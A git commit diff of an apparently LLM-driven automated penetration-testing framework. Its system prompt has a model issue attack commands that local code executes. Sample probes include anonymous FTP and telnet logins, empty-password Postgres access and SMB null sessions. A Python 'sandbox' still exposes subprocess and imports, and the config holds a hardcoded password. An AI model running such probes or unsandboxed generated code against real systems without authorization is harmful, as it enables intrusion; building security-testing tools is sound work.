Browse Source

v0.5 web1.0

master
张龙 1 week ago
parent
commit
ad1711029a
  1. 7
      config.yaml
  2. 36
      mycode/AttackMap.py
  3. 41
      mycode/CommandVerify.py
  4. 122
      mycode/DBManager.py
  5. 23
      mycode/InstructionManager.py
  6. 104
      mycode/LLMManager.py
  7. 38
      mycode/PythonTManager.py
  8. 230
      mycode/PythoncodeTool.py
  9. 5
      mycode/RsikManager.py
  10. 19
      mycode/TaskManager.py
  11. 285
      mycode/TaskObject.py
  12. 37
      myutils/PickleManager.py
  13. 17
      pipfile
  14. 27
      run.py
  15. 175
      test.py
  16. 11
      tools/ArpingTool.py
  17. 86
      tools/CurlTool.py
  18. 13
      tools/DirSearchTool.py
  19. 4
      tools/EchoTool.py
  20. 39
      tools/FtpTool.py
  21. 11
      tools/GitdumperTool.py
  22. 30
      tools/GobusterTool.py
  23. 11
      tools/MedusaTool.py
  24. 4
      tools/MsfconsoleTool.py
  25. 76
      tools/MsfvenomTool.py
  26. 2
      tools/NmapTool.py
  27. 75
      tools/OtherTool.py
  28. 11
      tools/PingTool.py
  29. 66
      tools/PsqlTool.py
  30. 153
      tools/PythoncodeTool.py
  31. 11
      tools/RpcclientTool.py
  32. 28
      tools/SearchsploitTool.py
  33. 3
      tools/SmbclientTool.py
  34. 13
      tools/SmbmapTool.py
  35. 77
      tools/SshpassTool.py
  36. 73
      tools/TcpdumpTool.py
  37. 4
      tools/TelnetTool.py
  38. 82
      tools/ToolBase.py
  39. 11
      tools/XvfbrunTool.py
  40. 2
      web/API/__init__.py
  41. 23
      web/API/system.py
  42. 49
      web/API/task.py
  43. 26
      web/API/user.py
  44. 15
      web/__init__.py
  45. 18
      web/common/utils.py
  46. 12
      web/main/routes.py
  47. 1
      web/main/static/resources/scripts/node_tree.js
  48. 111
      web/main/static/resources/scripts/task_manager.js
  49. 659
      web/main/static/resources/scripts/task_modal.js
  50. 1
      web/main/templates/assets_manager.html
  51. 646
      web/main/templates/his_task.html
  52. 6
      web/main/templates/index.html
  53. 91
      web/main/templates/system_manager.html
  54. 30
      web/main/templates/task_manager.html
  55. 3
      web/main/templates/task_manager_modal.html
  56. 1
      web/main/templates/vul_manager.html

7
config.yaml

@ -25,13 +25,12 @@ LLM_max_chain_count: 10 #为了避免推理链过长,造成推理效果变差
pw: zfkj_123!@# pw: zfkj_123!@#
#服务器端socket #服务器端socket
serverIP: 192.168.3.190 serverURL: www.czzfkj.cn
serverPort: 18010
DevID: 12345678901234567890123456789012
sockettimeout: 600 #10分钟
#node_tree_file_name #node_tree_file_name
TreeFile: tree_data/attack_tree TreeFile: tree_data/attack_tree
#task #task
Task_max_threads: 5 Task_max_threads: 5
Python_max_procs: 3
LLM_max_threads: 1

36
mycode/AttackMap.py

@ -18,7 +18,7 @@ class AttackTree:
"""根据父节点名称添加新节点""" """根据父节点名称添加新节点"""
parent_node = self.find_node_by_name(parent_name) parent_node = self.find_node_by_name(parent_name)
if parent_node: if parent_node:
parent_node.add_child(new_node) parent_node.add_child(new_node,parent_node.messages)
return True return True
return False return False
@ -75,10 +75,23 @@ class AttackTree:
return node return node
return None return None
def find_node_by_nodepath_parent(self,node_path,node): def find_node_by_nodepath_parent(self,node_path,node,iadd_node,commands):
node_names = node_path.split('->') node_names = node_path.split('->')
node_name = node_names[-1] node_name = node_names[-1]
if node_name == node.name:#当前节点 if node_name == node.name:#当前节点
if iadd_node == 1 and len(node.children)==1: #如果在当前节点下添加了一个子节点,且子节点没有添加指令,就算指令的节点路径是当前节点,也把该测试指令添加给新增的子节点
bfind = False
for comd in commands:
if node.children[0].name in comd:
bfind = True
break
if not bfind: #正常来说on_instruction已经补充指令了,已经不会有这种情况了,缺点
print("执行了一次强制迁移指令到子节点!")
return node.children[0]
else:
return node
else:
#添加了多个节点就难对应是哪个节点了,两个解决方案:1.返回当前节点,2.提交llm重新确认指令节点
return node return node
else: else:
if node_names[-2] == node.name: #父节点是当前节点 if node_names[-2] == node.name: #父节点是当前节点
@ -87,7 +100,7 @@ class AttackTree:
return child_node return child_node
#走到这说明没有匹配到-则新建一个节点 #走到这说明没有匹配到-则新建一个节点
newNode = TreeNode(node_name,node.task_id) newNode = TreeNode(node_name,node.task_id)
node.add_child(newNode) node.add_child(newNode,node.messages)
return newNode return newNode
else: else:
return None #约束:不处理 return None #约束:不处理
@ -197,16 +210,16 @@ class TreeNode:
self.cookie = cookie self.cookie = cookie
self.ext_info = ext_info self.ext_info = ext_info
def copy_messages(self,childe_node): def copy_messages(self,childe_node,messages):
''' '''
子节点继承父节点的messages目前规则保留上两层节点的message信息 子节点继承父节点的messages目前规则保留上两层节点的message信息
:param childe_node: :param childe_node:
:return: :return:
''' '''
tmp_messages = copy.deepcopy(self.messages) tmp_messages = copy.deepcopy(messages)
if not self.parent: if not self.parent:
childe_node.messages = tmp_messages childe_node.messages = tmp_messages
else: else:#修改messages传递规则后,messages丢弃逻辑有待进一步验证
parent_path = self.parent.path parent_path = self.parent.path
bfind = False bfind = False
for msg in tmp_messages: for msg in tmp_messages:
@ -234,11 +247,11 @@ class TreeNode:
print("非法的信息体类型!") print("非法的信息体类型!")
#添加子节点 #添加子节点
def add_child(self, child_node): def add_child(self, child_node,messages):
child_node.parent = self child_node.parent = self
child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值 child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值
#child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#? #child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#?
self.copy_messages(child_node) #传递messages--只保留两层 self.copy_messages(child_node,messages) #传递messages--只保留两层--两层的逻辑要验证
self.children.append(child_node) self.children.append(child_node)
@ -288,10 +301,13 @@ class TreeNode:
return self._work_status return self._work_status
def updatemsg(self,newtype,newcontent,index): def updatemsg(self,newtype,newcontent,index):
newmsg = {"llm_type":int(newtype),"result":newcontent}
if self._llm_quere: if self._llm_quere:#
oldmsg_llm_type = self._llm_quere[0]["llm_type"] #llm_type不修改,还未验证
newmsg = {"llm_type": int(oldmsg_llm_type), "result": newcontent}
self._llm_quere[0] = newmsg self._llm_quere[0] = newmsg
else:#新增消息 else:#新增消息
newmsg = {"llm_type": int(newtype), "result": newcontent}
self._llm_quere.append(newmsg) self._llm_quere.append(newmsg)
#更新节点状态 #更新节点状态
self._work_status = 3 #待提交 self._work_status = 3 #待提交

41
mycode/CommandVerify.py

@ -7,10 +7,10 @@ class CommandVerify:
#验证节点指令的结构完整性--主要是判断JSON元素是否完整 #验证节点指令的结构完整性--主要是判断JSON元素是否完整
def verify_node_cmds(self,node_cmds): def verify_node_cmds(self,node_cmds):
''' '''
验证节点指令的合规性持续维护 - 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
:param node_cmds: - 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
:param node: - 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
:return: Flase 存在问题 True 合规 - 完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
''' '''
strerror = "" strerror = ""
for node_json in node_cmds: for node_json in node_cmds:
@ -18,19 +18,24 @@ class CommandVerify:
self.logger.error(f"缺少action节点:{node_json}") self.logger.error(f"缺少action节点:{node_json}")
strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"} strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"}
break break
action = node_json["action"] action = node_json["action"]
if action == "add_node": if action == "add_node":
if "parent" not in node_json or "status" not in node_json or "nodes" not in node_json: if "parent" not in node_json or "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break break
elif action == "update_status": elif action == "end_work":
if "status" not in node_json or "node" not in node_json: if "node" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break break
elif action =="no_instruction" or action=="no_create": elif action =="no_instruction":
if "nodes" not in node_json: if "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"} strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break break
elif action =="find_vul":
if "node" not in node_json or "vulnerability" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
else: else:
strerror = {"节点指令错误": f"{node_json}不可识别的action值!"} strerror = {"节点指令错误": f"{node_json}不可识别的action值!"}
break break
@ -47,49 +52,45 @@ class CommandVerify:
if do_type == "add_node": if do_type == "add_node":
nodes = node_cmd["nodes"].split(",") nodes = node_cmd["nodes"].split(",")
add_nodes.extend(nodes) add_nodes.extend(nodes)
elif do_type == "update_status":
pass #修改节点的完成情况,若有指令已处理修改为未完成
elif do_type == "no_instruction": elif do_type == "no_instruction":
nodes = node_cmd["nodes"].split(",") nodes = node_cmd["nodes"].split(",")
no_instr_nodes.extend(nodes) no_instr_nodes.extend(nodes)
else: else:# 其他类型暂时不验证
print("遇到未知节点处理类型") pass
#核对指令是否有缺失 #核对指令是否有缺失
had_inst_nodes = self._difference_a_simple(add_nodes,no_instr_nodes) #在新增节点,但不在没有指令列表,就是应该要有指令的节点数据 had_inst_nodes = self._difference_a_simple(add_nodes,no_instr_nodes) #在新增节点,但不在没有指令列表,就是应该要有指令的节点数据
no_add_nodes = self._difference_a_simple(no_instr_nodes,add_nodes) #在未新增指令的节点,但不在新增节点,就是没有add的节点,需要新增 no_add_nodes = self._difference_a_simple(no_instr_nodes,add_nodes) #在未新增指令的节点,但不在新增节点,就是没有add的节点,需要新增
return had_inst_nodes,no_add_nodes return had_inst_nodes,no_add_nodes
#--------------辅助函数----------------- #--------------辅助函数-----------------
def get_path_from_command(self,command): def get_path_from_command(self,command):
pass pass
def _difference_a(list_a: list, list_b: list) -> list: def _difference_a(self,list_a: list, list_b: list) -> list:
"""获取 list_a 中存在但 list_b 中不存在的元素(去重版)""" """获取 list_a 中存在但 list_b 中不存在的元素(去重版)"""
set_b = set(list_b) set_b = set(list_b)
return [x for x in list_a if x not in set_b] return [x for x in list_a if x not in set_b]
def _difference_b(list_a: list, list_b: list) -> list: def _difference_b(self,list_a: list, list_b: list) -> list:
"""获取 list_b 中存在但 list_a 中不存在的元素(去重版)""" """获取 list_b 中存在但 list_a 中不存在的元素(去重版)"""
set_a = set(list_a) set_a = set(list_a)
return [x for x in list_b if x not in set_a] return [x for x in list_b if x not in set_a]
def _difference_a_keep_duplicates(list_a: list, list_b: list) -> list: def _difference_a_keep_duplicates(self,list_a: list, list_b: list) -> list:
"""获取 list_a 中存在但 list_b 中不存在的元素(保留所有重复项和顺序)""" """获取 list_a 中存在但 list_b 中不存在的元素(保留所有重复项和顺序)"""
set_b = set(list_b) set_b = set(list_b)
return [x for x in list_a if x not in set_b] return [x for x in list_a if x not in set_b]
def _difference_b_keep_duplicates(list_a: list, list_b: list) -> list: def _difference_b_keep_duplicates(self,list_a: list, list_b: list) -> list:
"""获取 list_b 中存在但 list_a 中不存在的元素(保留所有重复项和顺序)""" """获取 list_b 中存在但 list_a 中不存在的元素(保留所有重复项和顺序)"""
set_a = set(list_a) set_a = set(list_a)
return [x for x in list_b if x not in set_a] return [x for x in list_b if x not in set_a]
def _difference_a_simple(list_a: list, list_b: list) -> list: def _difference_a_simple(self,list_a: list, list_b: list) -> list:
"""集合差集:list_a - list_b""" """集合差集:list_a - list_b"""
return list(set(list_a) - set(list_b)) return list(set(list_a) - set(list_b))
def _difference_b_simple(list_a: list, list_b: list) -> list: def _difference_b_simple(self,list_a: list, list_b: list) -> list:
"""集合差集:list_b - list_a""" """集合差集:list_b - list_a"""
return list(set(list_b) - set(list_a)) return list(set(list_b) - set(list_a))

122
mycode/DBManager.py

@ -7,6 +7,7 @@ from myutils.ConfigManager import myCongif
from myutils.MyLogger_logger import LogHandler from myutils.MyLogger_logger import LogHandler
from myutils.MyTime import get_local_timestr from myutils.MyTime import get_local_timestr
from datetime import timedelta from datetime import timedelta
from datetime import datetime, timedelta
class DBManager: class DBManager:
#实例化数据库管理对象,并连接数据库 #实例化数据库管理对象,并连接数据库
@ -111,7 +112,7 @@ class DBManager:
with self.connection.cursor() as cursor: with self.connection.cursor() as cursor:
cursor.execute(strsql, params) cursor.execute(strsql, params)
self.connection.commit() self.connection.commit()
if itype ==1: if itype ==1: #只有插入task任务数据的时候是1
task_id = cursor.lastrowid task_id = cursor.lastrowid
bok = True bok = True
except Exception as e: except Exception as e:
@ -185,6 +186,18 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql, params) bok,_ = self.safe_do_sql(strsql, params)
return bok return bok
def del_task(self,task_id):
params = (task_id)
strsql = "delete from task where ID=%s;"
bok,_ = self.safe_do_sql(strsql,params)
strsql = "delete from task_llm where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
strsql = "delete from task_result where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
strsql = "delete from task_vul where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
return bok
#指令执行结果入库 #指令执行结果入库
def insetr_result(self,task_id,instruction,result,do_sn,start_time,end_time,source_result,ext_params,node_path): def insetr_result(self,task_id,instruction,result,do_sn,start_time,end_time,source_result,ext_params,node_path):
str_result = "" str_result = ""
@ -261,23 +274,120 @@ class DBManager:
#获取任务的测试指令执行情况 #获取任务的测试指令执行情况
def get_task_instrs(self,task_id,nodename): def get_task_instrs(self,task_id,nodename):
instrs = [] strsql = '''
return instrs select ID,node_path,do_sn,instruction,result from task_result where task_id = %s
'''
if nodename.strip():
strsql += " and nodename like %s;"
params = (task_id,nodename)
else:
strsql += ";"
params = (task_id)
datas = self.safe_do_select(strsql,params)
return datas
#插入漏洞数据
def insert_taks_vul(self,task_id,node_name,node_path,vul_type,vul_level,vul_info):
strsql = '''
INSERT INTO task_vul
(task_id,node_name,node_path,vul_type,vul_level,vul_info)
VALUES (%s,%s,%s,%s,%s,%s)
'''
params = (task_id,node_name,node_path,vul_type,vul_level,vul_info)
bok,_ = self.safe_do_sql(strsql,params)
return bok
#获取任务的漏洞检测情况 #获取任务的漏洞检测情况
def get_task_vul(self,task_id,nodename,vultype,vullevel): def get_task_vul(self,task_id,nodename,vultype,vullevel):
vuls =[] strsql = '''
return vuls select ID,node_path,vul_type,vul_level,vul_info from task_vul
'''
# 动态构建查询条件
conditions = ["task_id=%s"] # task_id 必须存在
params = [task_id] # 参数列表初始化
# 按需添加其他条件
if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("node_path=%s")
params.append(nodename)
if vultype and vultype.strip(): # 检查vultype是否非空
conditions.append("vul_type=%s")
params.append(vultype)
if vullevel and vullevel.strip(): # 检查vullevel是否非空
conditions.append("vul_level=%s")
params.append(vullevel)
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
return datas
#获取该任务该节点的所有 已经执行的任务 #获取该任务该节点的所有 已经执行的任务
def get_task_node_done_instr(self,task_id,nodepath): def get_task_node_done_instr(self,task_id,nodepath):
strsql = ''' strsql = '''
select instruction,start_time,result from task_result where task_id=%s and node_path=%s; select instruction,start_time,result from task_result where task_id=%s and node_path=%s order by start_time desc;
''' '''
params = (task_id,nodepath) params = (task_id,nodepath)
datas = self.safe_do_select(strsql,params) datas = self.safe_do_select(strsql,params)
return datas return datas
def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time):
strsql = "select ID,task_target,safe_rank,llm_type,start_time,end_time from task"
conditions = ["task_status=%s"]
params = [2]
# 按需添加其他条件
if target_name and target_name.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("task_target=%s")
params.append(target_name)
if safe_rank and safe_rank.strip(): # 检查vultype是否非空
conditions.append("safe_rank=%s")
params.append(safe_rank)
if llm_type and llm_type.strip(): # 检查vullevel是否非空
conditions.append("llm_type=%s")
params.append(llm_type)
if start_time and start_time.strip(): # 检查vultype是否非空
conditions.append("start_time >= %s")
start_date = datetime.strptime(start_time, "%Y-%m-%d")
# 生成起始时间字符串(当日 00:00:00)
start_time_str = start_date.strftime("%Y-%m-%d 00:00:00")
params.append(start_time_str)
if end_time and end_time.strip(): # 检查vullevel是否非空
conditions.append("end_time < %s")
# 将输入字符串转为日期对象
end_date = datetime.strptime(end_time, "%Y-%m-%d")
# 生成结束时间字符串(次日 00:00:00)
end_time_str = (end_date + timedelta(days=1)).strftime("%Y-%m-%d 00:00:00")
params.append(end_time_str)
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
return datas
def getsystem_info(self):
strsql = "select local_ip,version from zf_system;"
data = self.do_select(strsql,1)
return data
def update_localip(self,local_ip):
strsql = "update zf_system set local_ip=%s;"
params = (local_ip)
bok,_ = self.safe_do_sql(strsql,params)
return bok
def test(self): def test(self):
# 建立数据库连接 # 建立数据库连接
conn = pymysql.connect( conn = pymysql.connect(

23
mycode/InstructionManager.py

@ -39,6 +39,10 @@ class InstructionManager:
except ImportError as e: except ImportError as e:
print(f"加载工具 {module_name} 失败:{str(e)}") print(f"加载工具 {module_name} 失败:{str(e)}")
def get_tool_out_time(self,tool_name):
tool = self.tool_registry[tool_name]
out_time = tool.get_time_out()
return out_time
# 执行指令 # 执行指令
def execute_instruction(self,instruction): def execute_instruction(self,instruction):
@ -53,17 +57,18 @@ class InstructionManager:
# 检查是否存在对应工具 # 检查是否存在对应工具
if tool_name in self.tool_registry: if tool_name in self.tool_registry:
tool = self.tool_registry[tool_name] tool = self.tool_registry[tool_name]
print(f"*****开始执行指令:{instruction}") #print(f"*****开始执行指令:{instruction}")
bres,instr, result,source_result,ext_params = tool.execute_instruction(instruction) bres,instr, result,source_result,ext_params = tool.execute_instruction(instruction)
#print(f"分析结果:{result}") #print(f"*****指令:{instr},执行完毕")
print(f"*****指令:{instr},执行完毕")
else: else:
bres = False other_tool = self.tool_registry["other"] #尝试直接执行(处理一些组合指令)
instr = instruction #保障后续代码的一致性 bres, instr, result, source_result, ext_params = other_tool.execute_instruction(instruction)
source_result = result = f"{tool_name}-该工具暂不支持" # bres = False
ext_params = ReturnParams() # instr = instruction #保障后续代码的一致性
ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False # source_result = result = f"{tool_name}-该工具暂不支持"
ext_params["is_vulnerability"] = False # 是否是脆弱点 # ext_params = ReturnParams()
# ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False
# ext_params["is_vulnerability"] = False # 是否是脆弱点
print(f"执行指令:{instr}") print(f"执行指令:{instr}")
print(f"未知工具:{tool_name}") print(f"未知工具:{tool_name}")

104
mycode/LLMManager.py

@ -61,34 +61,37 @@ class LLMManager:
#根节点初始化message----后续有可能需要为每个LLM生成不同的system msg #根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
node.messages = [{"role": "system", node.messages = [{"role": "system",
"content":''' "content":'''
你是一位渗透测试专家基于你的专业知识和经验负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试本地程序会执行你的指令并返回结果 你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试
**总体要求** **总体要求**
1.以测试目标为根节点每个渗透测试点和方向如端口服务漏洞点作为子节点形成树型结构测试树层层递进 1.以测试目标为根节点每个渗透测试点如端口服务漏洞点等作为子节点形成树型结构测试树层层递进
2.测试树整体数据由本地程序存储你只需要关注当前节点的测试推进状态更新(未完成/已完成)及是否有子节点新增 2.每次规划测试方案时只需要关注当前节点的测试推进状态更新(未完成/已完成)以及是否有子节点新增
3.返回的指令有两类节点指令和测试指令指令之间必须以空行间隔不要包含注释和说明 3.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
4.测试时必须为每个不同的测试点和测试方向新增节点,同时生成对应的测试指令 4.本地程序会执行生成的指令但不具备分析和判断能力只会把执行结果返回给你执行结果应尽量规避无效的信息
5.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有未生成测试指令的节点必须返回未生成指令节点列表 5.除信息收集外需要为每个测试验证的漏洞点新增节点,同时生成对应的测试指令
6.若漏洞验证成功则根据结果决定是否需要进一步测试若需要进一步测试则为测试内容新增子节点并提供测试指令 6.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有未生成测试指令的节点必须返回未生成指令节点列表
7.当当前节点没有新的测试指令时更新状态为已完成 7.若漏洞验证成功则根据结果评估是否有进一步测试的必要若有则为测试内容新增子节点并提供测试指令若没有则结束该节点测试
8.若无需要处理的节点数据节点指令可以不生成 8.当当前节点没有新的测试指令时更新状态为已完成
9.若无需要处理的节点数据节点指令可以不生成
**测试指令生成准则** **测试指令生成准则**
1.明确每个测试指令的测试目标并优先尝试最简单最直接的办法不要生成测试效果覆盖的指令 1.使用递进逻辑组织指令先尝试基础测试方法根据执行结果决定是否进行更深入的测试不要同时生成测试效果覆盖的指令
2.使用递进逻辑组织指令先尝试基础测试方法根据执行结果决定是否进行更深入的测试 2.不要生成有前后执行关系的多条shell指令若不能放一条shell指令内执行请提供对应的python指令
**节点指令格式** **节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"}; - 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}; - 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; - 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 完成测试{\"action\": \"end_work\", \"node\": \"节点\"}; - 完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式** **测试指令格式**
- shell指令```bash-[节点路径]指令内容```包裹需要避免用户交互,若涉及到多步指令请生成python代码 - dash指令```dash-[节点路径]指令内容```包裹需要避免用户交互若涉及到多步指令请生成python指令
- python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output) - python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output)
- [节点路径]为从根节点到目标节点的完整层级路径且需要与指令的目标节点一致 - [节点路径]为从根节点到目标节点的完整层级路径
**核心要求** **核心要求**
- 指令之间必须要有一个空行 - 指令之间必须要有一个空行
- 需确保测试指令的节点路径和指令的目标节点一致
- 所有测试指令必须要能返回
**响应示例** **响应示例**
{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\", \"status\": \"未完成\"} {\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
```bash-[目标系统->192.168.1.100->3306端口] ```dash-[目标系统->192.168.1.100->3306端口]
mysql -u root -p 192.168.1.100 mysql -u root -p 192.168.1.100
``` ```
'''}] # 一个messages '''}] # 一个messages
@ -125,9 +128,9 @@ mysql -u root -p 192.168.1.100
if self.model == "deepseek-reasoner": if self.model == "deepseek-reasoner":
#返回错误码:DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes #返回错误码:DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes
reasoning_content = response.choices[0].message.reasoning_content #推理过程 reasoning_content = response.choices[0].message.reasoning_content #推理过程
print(reasoning_content) #print(reasoning_content)
content = response.choices[0].message.content #推理内容 content = response.choices[0].message.content #推理内容
print(content) #print(content)
# 记录llm历史信息 # 记录llm历史信息
node.messages.append({'role': 'assistant', 'content': content}) node.messages.append({'role': 'assistant', 'content': content})
elif self.model == "deepseek-chat": elif self.model == "deepseek-chat":
@ -155,7 +158,7 @@ mysql -u root -p 192.168.1.100
渗透测试指令 渗透测试指令
提取命令列表包括 提取命令列表包括
1. Python 代码块 python[](.*?) 1. Python 代码块 python[](.*?)
2. Shell 命令``bash[](.*?)``` 2. Shell 命令``dash[](.*?)```
:param text: 输入文本 :param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks :return: node_cmds,python_blocks,shell_blocks
''' '''
@ -166,13 +169,13 @@ mysql -u root -p 192.168.1.100
python_blocks = [block.strip() for block in python_blocks] python_blocks = [block.strip() for block in python_blocks]
#正则匹配shell指令 #正则匹配shell指令
shell_blocks = re.findall(f"```bash-(.*?)```", response_text, flags=re.DOTALL) shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL)
shell_blocks = [block.strip() for block in shell_blocks] shell_blocks = [block.strip() for block in shell_blocks]
# 按连续的空行拆分 # 按连续的空行拆分
# 移除 Python和bash 代码块 # 移除 Python和dash 代码块
text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL) text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL)
text = re.sub(r"```bash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL) text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL)
# 这里用 \n\s*\n 匹配一个或多个空白行 # 这里用 \n\s*\n 匹配一个或多个空白行
parts = re.split(r'\n\s*\n', text) parts = re.split(r'\n\s*\n', text)
@ -218,62 +221,5 @@ mysql -u root -p 192.168.1.100
if __name__ == "__main__": if __name__ == "__main__":
llm = LLMManager(3) llm = LLMManager(3)
content = '''
"```bash-[目标系统->192.168.204.137->22端口]
ssh -o BatchMode=yes -o ConnectTimeout=5 root@192.168.204.137
```
```bash-[目标系统->192.168.204.137->23端口]
telnet 192.168.204.137 23 <<<'user anonymous'
```
```bash-[目标系统->192.168.204.137->5432端口]
PGPASSWORD='' psql -h 192.168.204.137 -U postgres -c '\l'
```
```bash-[目标系统->192.168.204.137->2121端口]
ftp -nv 192.168.204.137 2121 <<EOF
user anonymous anonymous
bye
EOF
```
```bash-[目标系统->192.168.204.137->139端口]
smbclient -L //192.168.204.137/ -N -p 139
```
```python-[目标系统->192.168.204.137->513端口]
import socket
def dynamic_fun():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('192.168.204.137', 513))
s.send(b'localhost\n')
response = s.recv(1024)
s.close()
return ('open' if response else 'closed', response.decode(errors='ignore'))
except Exception as e:
return ('error', str(e))
```
{"action": "no_instruction", "nodes": "514端口"}"
'''
node_cmds,commands = llm.fetch_instruction(content)
print(node_cmds,commands)
for node_json in node_cmds:
action = node_json["action"]
if action == "update_status":
print("update")
elif action == "no_instruction":
# 返回的未生成指令的数据进行校验:1.要有数据;2.节点不是当前节点就是子节点
nodes = []
node_names = node_json["nodes"].split(',')
for node_name in node_names:
print(node_name)
print("111")

38
mycode/PythonTManager.py

@ -0,0 +1,38 @@
import queue
import threading
import time
from mycode.PythoncodeTool import PythoncodeTool
class PythonTManager:
def __init__(self,maxnum):
self.brun = True
self.cur_num = 0
self.put_lock = threading.Lock()
# 构建进程池--Python 代码的执行在子进程完成-3个子进程
self.maxnum = maxnum
self.python_tool = PythoncodeTool(maxnum) #python工具实例
def __del__(self):
self.python_tool.shutdown()
def execute_instruction(self,instruction):
bwork = False
while self.brun:
with self.put_lock:
if self.cur_num < self.maxnum:
self.cur_num += 1
bwork = True
if bwork:#还有空的子进程
#提交给进程池执行
_,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
#执行完成后,数量减一
with self.put_lock:
self.cur_num -= 1
#返回结果
return instruction,analysis,analysis,ext_params
else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后
time.sleep(20) #休眠20秒

230
mycode/PythoncodeTool.py

@ -0,0 +1,230 @@
#python代码动态执行
import queue
import ast
import subprocess
import json
import builtins
import re
import paramiko
import impacket
import psycopg2
import socket
import struct
import sys
import requests
import ssl
import mysql.connector
import telnetlib
import time
import uuid
import multiprocessing
import textwrap
from mycode.Result_merge import my_merge
from ftplib import FTP
from requests.auth import HTTPBasicAuth
from myutils.ReturnParams import ReturnParams
from concurrent.futures import ProcessPoolExecutor, TimeoutError
# --------------------------------------------
# 1) 全局 helper:放在模块顶层,才能被子进程 picklable 调用
# --------------------------------------------
def _execute_dynamic(instruction_str):
"""
在子进程中执行 instruction_str 所描述的 dynamic_fun
并返回 (status: bool, output: str)
"""
# 允许的内置函数白名单
allowed_builtins = {
'__name__': __name__,
'__import__': builtins.__import__,
'abs': abs, 'all': all, 'any': any, 'bool': bool,
'chr': chr, 'dict': dict, 'enumerate': enumerate,
'float': float, 'int': int, 'len': len, 'list': list,
'max': max, 'min': min, 'print': print, 'range': range,
'set': set, 'str': str, 'sum': sum, 'type': type,
'open': open, 'Exception': Exception, 'locals': locals
}
# 构造安全的 globals
safe_globals = {
'__builtins__': allowed_builtins,
'subprocess': subprocess,
'json': json,
're': re,
'paramiko': paramiko,
'impacket': impacket,
'psycopg2': psycopg2,
'socket': socket,
'mysql': mysql,
